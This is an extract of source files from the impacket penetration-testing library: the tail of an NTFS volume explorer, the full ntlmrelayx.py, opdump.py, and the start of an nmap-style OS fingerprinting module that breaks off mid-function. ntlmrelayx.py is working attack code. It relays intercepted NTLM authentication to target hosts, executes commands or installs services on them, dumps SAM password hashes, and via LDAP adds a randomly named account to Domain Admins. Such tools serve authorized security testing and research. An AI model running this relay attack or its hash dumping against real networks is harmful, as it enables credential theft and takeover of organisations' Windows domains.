self.readVCN(vcnToStart, curLength / self.ClusterSize) if bufTemp is '': # Something went wrong return None if len(bufTemp) > curLength: # Too much data read, taking something off buf = buf + bufTemp[:curLength] else: buf = buf + bufTemp vcnToStart += curLength / self.ClusterSize curLength -= len(bufTemp) # Is there anything else left to be read in the last cluster? if curLength > 0: bufTemp = self.readVCN(vcnToStart, 1) buf = buf + bufTemp[:curLength] if buf == '': return None else: return buf class AttributeStandardInfo: def __init__(self, attribute): logging.debug("Inside AttributeStandardInfo") self.Attribute = attribute self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue) def getFileAttributes(self): return self.StandardInfo['FileAttributes'] def getFileTime(self): if self.StandardInfo['LastDataChangeTime'] > 0: return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime'])) else: return 0 def dump(self): return self.StandardInfo.dump() class AttributeFileName: def __init__(self, attribute): logging.debug("Inside AttributeFileName") self.Attribute = attribute self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue) def getFileNameType(self): return self.FileNameRecord['FileNameType'] def getFileAttributes(self): return self.FileNameRecord['FileAttributes'] def getFileName(self): return self.FileNameRecord['FileName'].decode('utf-16le') def getFileSize(self): return self.FileNameRecord['DataSize'] def getFlags(self): return self.FileNameRecord['FileAttributes'] def dump(self): return self.FileNameRecord.dump() class AttributeIndexAllocation: def __init__(self, attribute): logging.debug("Inside AttributeIndexAllocation") self.Attribute = attribute def dump(self): print self.Attribute.dump() for i in self.Attribute.DataRuns: print i.dump() def read(self, offset, length): return self.Attribute.read(offset, length) class AttributeIndexRoot: def __init__(self, attribute): logging.debug("Inside AttributeIndexRoot") self.Attribute = attribute self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue) self.IndexEntries = [] self.parseIndexEntries() def parseIndexEntries(self): data = self.Attribute.AttrValue[len(self.IndexRootRecord):] while True: ie = IndexEntry(data) self.IndexEntries.append(ie) if ie.isLastNode(): break data = data[ie.getSize():] def dump(self): self.IndexRootRecord.dump() for i in self.IndexEntries: i.dump() def getType(self): return self.IndexRootRecord['Type'] class IndexEntry: def __init__(self, entry): self.entry = NTFS_INDEX_ENTRY(entry) def isSubNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE def isLastNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END def getVCN(self): return struct.unpack(' 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: #inode = INODE(self.NTFSVolume) #inode.FileAttributes = fn['FileAttributes'] #inode.FileSize = fn['DataSize'] #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime'])) #inode.INodeNumber = entry.getINodeNumber() #inode.FileName = fn['FileName'].decode('utf-16le') #inode.displayName() files.append(fn) # if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16: # inode2 = self.NTFSVolume.getINode(entry.getINodeNumber()) # inode2.walk() return files def walk(self): logging.debug("Inside Walk... ") files = [] if self.Attributes.has_key(INDEX_ROOT): ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME: for ie in ir.IndexEntries: if ie.isSubNode(): files += self.walkSubNodes(ie.getVCN()) return files else: return None def findFirstSubNode(self, vcn, toSearch): def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return string.upper(fn['FileName'].decode('utf-16le')) return None entries = self.parseIndexBlocks(vcn) for ie in entries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def findFirst(self, fileName): # Searches for a file and returns an Index Entry. None if not found def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return string.upper(fn['FileName'].decode('utf-16le')) return None toSearch = unicode(string.upper(fileName)) if self.Attributes.has_key(INDEX_ROOT): ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME or 1==1: for ie in ir.IndexEntries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def getStream(self, name): return self.searchAttribute( DATA, name, findNext = False) class NTFS: def __init__(self, volumeName): self.__volumeName = volumeName self.__bootSector = None self.__MFTStart = None self.volumeFD = None self.BPB = None self.ExtendedBPB = None self.RecordSize = None self.IndexBlockSize = None self.SectorSize = None self.MFTINode = None self.mountVolume() def mountVolume(self): logging.debug("Mounting volume...") self.volumeFD = open(self.__volumeName,"rb") self.readBootSector() self.MFTINode = self.getINode(FILE_MFT) # Check whether MFT is fragmented attr = self.MFTINode.searchAttribute(DATA, None) if attr is None: # It's not del self.MFTINode self.MFTINode = None def readBootSector(self): logging.debug("Reading Boot Sector for %s" % self.__volumeName) self.volumeFD.seek(0,0) data = self.volumeFD.read(512) while len(data) < 512: data += self.volumeFD.read(512) self.__bootSector = NTFS_BOOT_SECTOR(data) self.BPB = NTFS_BPB(self.__bootSector['BPB']) self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB']) self.SectorSize = self.BPB['BytesPerSector'] self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber'] if self.ExtendedBPB['ClusterPerFileRecord'] > 0: self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord'] else: self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord']) if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0: self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer'] else: self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer']) logging.debug("MFT should start at position %d" % self.__MFTStart) def getINode(self, iNodeNum): logging.debug("Trying to fetch inode %d" % iNodeNum) newINode = INODE(self) recordLen = self.RecordSize # Let's calculate where in disk this iNode should be if self.MFTINode and iNodeNum > FIXED_MFTS: # Fragmented $MFT attr = self.MFTINode.searchAttribute(DATA,None) record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) else: diskPosition = self.__MFTStart + iNodeNum * self.RecordSize self.volumeFD.seek(diskPosition,0) record = self.volumeFD.read(recordLen) while len(record) < recordLen: record += self.volumeFD.read(recordLen-len(record)) mftRecord = NTFS_MFT_RECORD(record) record = newINode.PerformFixUp(mftRecord, record, self.RecordSize/self.SectorSize) newINode.INodeNumber = iNodeNum newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] newINode.parseAttributes() return newINode class MiniShell(cmd.Cmd): def __init__(self, volume): cmd.Cmd.__init__(self) self.volumePath = volume self.volume = NTFS(volume) self.rootINode = self.volume.getINode(5) self.prompt = '\\>' self.intro = 'Type help for list of commands' self.currentINode = self.rootINode self.completion = [] self.pwd = '\\' self.do_ls('',False) self.last_output = '' def emptyline(self): pass def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception, e: logging.error(str(e)) return retVal def do_exit(self,line): return True def do_shell(self, line): output = os.popen(line).read() print output self.last_output = output def do_help(self,line): print """ cd {path} - changes the current directory to {path} pwd - shows current remote directory ls - lists all the files in the current directory lcd - change local directory get {filename} - downloads the filename from the current path cat {filename} - prints the contents of filename hexdump {filename} - hexdumps the contents of filename exit - terminates the server process (and this session) """ def do_lcd(self,line): if line == '': print os.getcwd() else: os.chdir(line) print os.getcwd() def do_cd(self, line): p = string.replace(line,'/','\\') oldpwd = self.pwd newPath = ntpath.normpath(ntpath.join(self.pwd,p)) if newPath == self.pwd: # Nothing changed return common = ntpath.commonprefix([newPath,oldpwd]) if common == oldpwd: res = self.findPathName(ntpath.normpath(p)) else: res = self.findPathName(newPath) if res is None: logging.error("Directory not found") self.pwd = oldpwd return if res.isDirectory() == 0: logging.error("Not a directory!") self.pwd = oldpwd return else: self.currentINode = res self.do_ls('', False) self.pwd = ntpath.join(self.pwd,p) self.pwd = ntpath.normpath(self.pwd) self.prompt = self.pwd + '>' def findPathName(self, pathName): if pathName == '\\': return self.rootINode tmpINode = self.currentINode parts = pathName.split('\\') for part in parts: if part == '': tmpINode = self.rootINode else: res = tmpINode.findFirst(part) if res is None: return res else: tmpINode = self.volume.getINode(res.getINodeNumber()) return tmpINode def do_pwd(self,line): print self.pwd def do_ls(self, line, display = True): entries = self.currentINode.walk() self.completion = [] for entry in entries: inode = INODE(self.volume) inode.FileAttributes = entry['FileAttributes'] inode.FileSize = entry['DataSize'] inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime'])) inode.FileName = entry['FileName'].decode('utf-16le') if display is True: inode.displayName() self.completion.append((inode.FileName,inode.isDirectory())) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def complete_cat(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_hexdump(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories items = [] if include == 1: mask = 0 else: mask = FILE_ATTR_I30_INDEX_PRESENT for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_hexdump(self,line): return self.do_cat(line,command = hexdump) def do_cat(self, line, command = sys.stdout.write): pathName = string.replace(line,'/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) res = self.findPathName(pathName) if res is None: logging.error("Not found!") return if res.isDirectory() > 0: logging.error("It's a directory!") return if res.isCompressed() or res.isEncrypted() or res.isSparse(): logging.error('Cannot handle compressed/encrypted/sparse files! :(') return stream = res.getStream(None) chunks = 4096*10 written = 0 for i in range(stream.getDataSize()/chunks): buf = stream.read(i*chunks, chunks) written += len(buf) command(buf) if stream.getDataSize() % chunks: buf = stream.read(written, stream.getDataSize() % chunks) command(buf) logging.info("%d bytes read" % stream.getDataSize()) def do_get(self, line): pathName = string.replace(line,'/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) fh = open(ntpath.basename(pathName),"wb") self.do_cat(line, command = fh.write) fh.close() def main(): print version.BANNER # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)") parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)') parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \windows\system32\config\sam)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) shell = MiniShell(options.volume) if options.extract is not None: shell.onecmd("get %s"% options.extract) else: shell.cmdloop() if __name__ == '__main__': main() sys.exit(1) impacket-0.9.15/examples/ntlmrelayx.py0000700000076500000000000003357512734531507020056 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2013-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Generic NTLM Relay Module # # Authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # This module performs the SMB Relay attacks originally discovered # by cDc. It receives a list of targets and for every connection received it # will choose the next target and try to relay the credentials. Also, if # specified, it will first to try authenticate against the client connecting # to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few # functions and then using the smbclient portion. It is supposed to be # working on any LM Compatibility level. The only way to stop this attack # is to enforce on the server SPN checks and or signing. # # If the target system is enforcing signing and a machine account was provided, # the module will try to gather the SMB session key through # NETLOGON (CVE-2015-0005) # # If the authentication against the targets succeed, the client authentication # success as well and a valid connection is set against the local smbserver. # It's up to the user to set up the local smbserver functionality. One option # is to set up shares with whatever files you want to the victim thinks it's # connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # import argparse import sys import thread import logging import random import string import re import os from threading import Thread from impacket import version, smb3, smb from impacket.examples import logger from impacket.examples import serviceinstall from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from impacket.smbconnection import SMBConnection class SMBAttack(Thread): def __init__(self, config, SMBClient, exeFile, command): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish() #Define global variables to prevent dumping the domain twice dumpeddomain = False addedda = False class LDAPAttack(Thread): def __init__(self, config, LDAPClient, username): Thread.__init__(self) self.daemon = True #Import it here because non-standard dependency self.ldapdomaindump = __import__('ldapdomaindump') self.client = LDAPClient self.username = username #Global config self.config = config def addDA(self): global addedda if addedda: logging.error('DA already added. Refusing to add another') return #Random password new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) #Random username new_user = ''.join(random.choice(string.ascii_letters) for _ in range(10)) dd = self.dd ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % dd.root, 'distinguishedName': 'CN=%s,CN=Users,%s' % (new_user,dd.root), 'cn': new_user, 'sn': new_user, 'givenName': new_user, 'displayName': new_user, 'name': new_user, 'userAccountControl': 512, 'accountExpires': 0, 'sAMAccountName': new_user, 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le') } res = self.client.c.add('CN=%s,CN=Users,%s' % (new_user,dd.root),['top','person','organizationalPerson','user'],ucd) if not res: logging.error('Failed to add a new user: %s' % str(self.c.result)) else: logging.info('Adding new user with username: %s and password: %s result: OK' % (new_user,new_password)) #TODO: Fix this with localized DA group res = self.client.c.modify('CN=Domain Admins,CN=Users,%s' % dd.root,{'member': [(self.client.MODIFY_ADD,['CN=%s,CN=Users,%s' % (new_user,dd.root)])]}) if res: logging.info('Adding user: %s to group Domain Admins result: OK' % new_user) logging.info('Domain Admin privileges aquired, shutting down...') addedda = True thread.interrupt_main() else: logging.error('Failed to add user to Domain Admins group: %s' % str(self.c.result)) def run(self): global dumpeddomain #Set up a default config ddc = self.ldapdomaindump.domainDumpConfig() #Change the output directory to configured rootdir ddc.basepath = self.config.lootdir #Create new dumper object self.dd = self.ldapdomaindump.domainDumper(self.client.s,self.client.c,ddc) isda = self.dd.isDomainAdmin(self.username) if isda: logging.info('User is a Domain Admin!') self.addDA() else: logging.info('User is not a Domain Admin') if not dumpeddomain: logging.info('Dumping domain info for first time') self.dd.domainDump() dumpeddomain = True class HTTPAttack(Thread): def __init__(self, config, HTTPClient, username): Thread.__init__(self) self.daemon = True self.config = config self.client = HTTPClient self.username = username def run(self): #Default action: Dump requested page to file, named username-targetname.html #You can also request any page on the server via self.client.session, #for example with: #result = self.client.session.get('http://secretserver/secretpage.html') #print result.content #Remove protocol from target name safeTargetName = self.client.target.replace('http://','').replace('https://','') #Replace any special chars in the target name safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) #Combine username with filename fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' #Write it to the file with open(os.path.join(self.config.lootdir,fileName),'w') as of: of.write(self.client.lastresult) # Process command-line arguments. if __name__ == '__main__': RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack } # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will try to relay that connection to specified target(s) system or the original client") parser.add_argument("-h","--help", action="help", help='show this help message and exit') parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client') parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or full URL, one per line') parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list automatically (only valid with -tf)') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR', help='Loot directory in which gathered loot such as SAM dumps will be stored (default: current directory).') parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for signing, format is domain/machine_name') parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') try: options = parser.parse_args() except Exception, e: logging.error(str(e)) sys.exit(1) if options.target is not None: logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singletarget=options.target) else: if options.tf is not None: #Targetfile specified logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetlistfile=options.tf) mode = 'RELAY' else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' if options.r is not None: logging.info("Running HTTP server in redirect mode") #print targetSystem.targets if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() if options.lootdir is not None: lootdir = options.lootdir else: lootdir = '.' #Temp #mode = 'TRANSPARENT' exeFile = options.e Command = options.c for server in RELAY_SERVERS: #Set up config c = NTLMRelayxConfig() c.setTargets(targetSystem) c.setExeFile(exeFile) c.setCommand(Command) c.setMode(mode) c.setAttacks(ATTACKS) c.setLootdir(lootdir) c.setOutputFile(options.output_file) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: c.setMode('REDIRECT') c.setRedirectHost(options.r) if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: logging.error("You must specify machine-account/hashes/domain all together!") sys.exit(1) s = server(c) s.start() print "" logging.info("Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass impacket-0.9.15/examples/opdump.py0000700000076500000000000000362312734531507017152 0ustar betowheel00000000000000#!/usr/bin/python """opdump - scan for operations on a given DCERPC interface Usage: opdump.py hostname port interface version This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call. This will generate a burst of TCP connections to the given host:port! Example: $ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0 op 0 (0x00): rpc_x_bad_stub_data op 1 (0x01): rpc_x_bad_stub_data op 2 (0x02): rpc_x_bad_stub_data op 3 (0x03): success op 4 (0x04): rpc_x_bad_stub_data ops 5-255: nca_s_op_rng_error rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an operation at that number. Author: Catalin Patulea """ import sys from impacket.examples import logger from impacket import uuid from impacket.dcerpc.v5 import transport def main(args): if len(args) != 4: print "usage: opdump.py hostname port interface version" return 1 host, port, interface, version = args[0], int(args[1]), args[2], args[3] stringbinding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(stringbinding) trans.set_dport(port) results = [] for i in range(256): dce = trans.get_dce_rpc() dce.connect() iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) dce.call(i, "") try: dce.recv() except Exception, e: result = str(e) else: result = "success" dce.disconnect() results.append(result) # trim duplicate suffixes from the back suffix = results[-1] while results and results[-1] == suffix: results.pop() for i, result in enumerate(results): print "op %d (0x%02x): %s" % (i, i, result) print "ops %d-%d: %s" % (len(results), 255, suffix) if __name__ == "__main__": # Init the example's logger theme logger.init() sys.exit(main(sys.argv[1:])) impacket-0.9.15/examples/os_ident.py0000700000076500000000000022453012734531507017454 0ustar betowheel00000000000000#-- # Copyright (c) 2001-2016 CORE Security Technologies, CORE SDI Inc. # All rights reserved. # # This computer software is owned by Core SDI Inc. and is # protected by U.S. copyright laws and other laws and by international # treaties. This computer software is furnished by CORE SDI Inc. # pursuant to a written license agreement and may be used, copied, # transmitted, and stored only in accordance with the terms of such # license and with the inclusion of the above copyright notice. This # computer software or any other copies thereof may not be provided or # otherwise made available to any other person. # #` # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE # #-- from impacket.ImpactPacket import * from impacket.ImpactDecoder import * g_nmap1_signature_filename="nmap-os-fingerprints" g_nmap2_signature_filename="nmap-os-db" class os_id_exception: def __init__(self, value): self.value = value def __str__(self): return `self.value` class os_id_test: def __init__(self, id): self.__id = id self.__my_packet = None self.__result_dict = {} def test_id(self): return self.__class__.__name__ def get_test_packet(self): return self.__my_packet.get_packet() def set_packet(self, packet): self.__my_packet = packet def get_packet(self): return self.__my_packet def process(self, packet): pass def add_result(self, name, value): self.__result_dict[name] = value def get_id(self): return self.__id def is_mine(self, packet): pass def get_result_dict(self): return self.__result_dict; def get_final_result(self): "Returns a string representation of the final result of this test or None if no response was received" pass class icmp_request(os_id_test): type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY, ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY, ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY, ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY } def __init__(self, id, addresses, type): os_id_test.__init__(self, id) self.e = Ethernet() self.i = IP() self.icmp = ICMP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.__type = type self.icmp.set_icmp_type(type) self.e.contains(self.i) self.i.contains(self.icmp) self.set_packet(self.e) def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: return 0 icmp = ip.child() # icmp_request.type_filter is a dictionary that maps request # type codes to the reply codes if not icmp or \ icmp.get_icmp_type() != icmp_request.type_filter[self.__type]: return 0 if icmp.get_icmp_id() != self.get_id(): return 0 return 1 def process(self, packet): pass class nmap2_icmp_echo_probe_1(icmp_request): # The first one has the IP DF bit set, a type-of-service (TOS) byte # value of zero, a code of nine (even though it should be zero), # the sequence number 295, a random IP ID and ICMP request identifier, # and a random character repeated 120 times for the data payload. sequence_number = 295 id = 0x5678 def __init__(self, id, addresses): icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) self.i.set_ip_df(True) self.i.set_ip_tos(0) self.icmp.set_icmp_code(9) self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number) self.i.set_ip_id(nmap2_icmp_echo_probe_1.id) self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id) self.icmp.contains(Data("I" * 120)) def process(self, packet): pass class nmap2_icmp_echo_probe_2(icmp_request): # The second ping query is similar, except a TOS of four # (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is # sent, and the IP ID, request ID, and sequence numbers are incremented # by one from the previous query values. def __init__(self, id, addresses): icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) self.i.set_ip_df(False) self.i.set_ip_tos(4) self.icmp.set_icmp_code(0) self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1) self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1) self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1) self.icmp.contains(Data("I" * 150)) def process(self, packet): pass class udp_closed_probe(os_id_test): ip_id = 0x1234 # HARDCODED def __init__(self, id, addresses, udp_closed ): os_id_test.__init__(self, id ) self.e = Ethernet() self.i = IP() self.u = UDP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.i.set_ip_id(udp_closed_probe.ip_id) self.u.set_uh_sport(id) self.u.set_uh_dport( udp_closed ) self.e.contains(self.i) self.i.contains(self.u) self.set_packet(self.e) def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: return 0 icmp = ip.child() if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH: return 0 if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT: return 0; self.err_data = icmp.child() if not self.err_data: return 0 return 1 class tcp_probe(os_id_test): def __init__(self, id, addresses, tcp_ports, open_port ): self.result_string = "[]" os_id_test.__init__(self, id) self.e = Ethernet() self.i = IP() self.t = TCP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.i.set_ip_id(0x2323) # HARDCODED self.t.set_th_sport(id) if open_port: self.target_port = tcp_ports[0] else: self.target_port = tcp_ports[1] self.t.set_th_dport(self.target_port) self.e.contains(self.i) self.i.contains(self.t) self.set_packet(self.e) self.source_ip = addresses[0] self.target_ip = addresses[1] def socket_match(self, ip, tcp): # scr ip and port if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port): return 0 # dst ip and port if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()): return 0 return 1 def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.TCP.protocol: return 0 tcp = ip.child() if self.socket_match(ip, tcp): return 1 return 0 class nmap_tcp_probe(tcp_probe): def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): tcp_probe.__init__(self, id, addresses, tcp_ports, open_port) self.t.set_th_seq(sequence) self.set_resp(False) for op in options: self.t.add_option(op) def set_resp(self,resp): pass class nmap1_tcp_probe(nmap_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # From: http://nmap.org/nmap-fingerprinting-old.html # [...] # Nmap sends these options along with almost every probe packet: # Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops; # [...] # From nmap-4.22SOC8/osscan.cc:get_fingerprint(...) # [...] # "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000" # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\010\012\077\077\077\077\000\000\000\000 TCPOption(TCPOption.TCPOPT_EOL), #\000 TCPOption(TCPOption.TCPOPT_EOL) #\000 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) def set_resp(self,resp): if resp: self.add_result("Resp", "Y") else: self.add_result("Resp", "N") def process(self, packet): ip = packet.child() tcp = ip.child() self.set_resp(True) if ip.get_ip_df(): 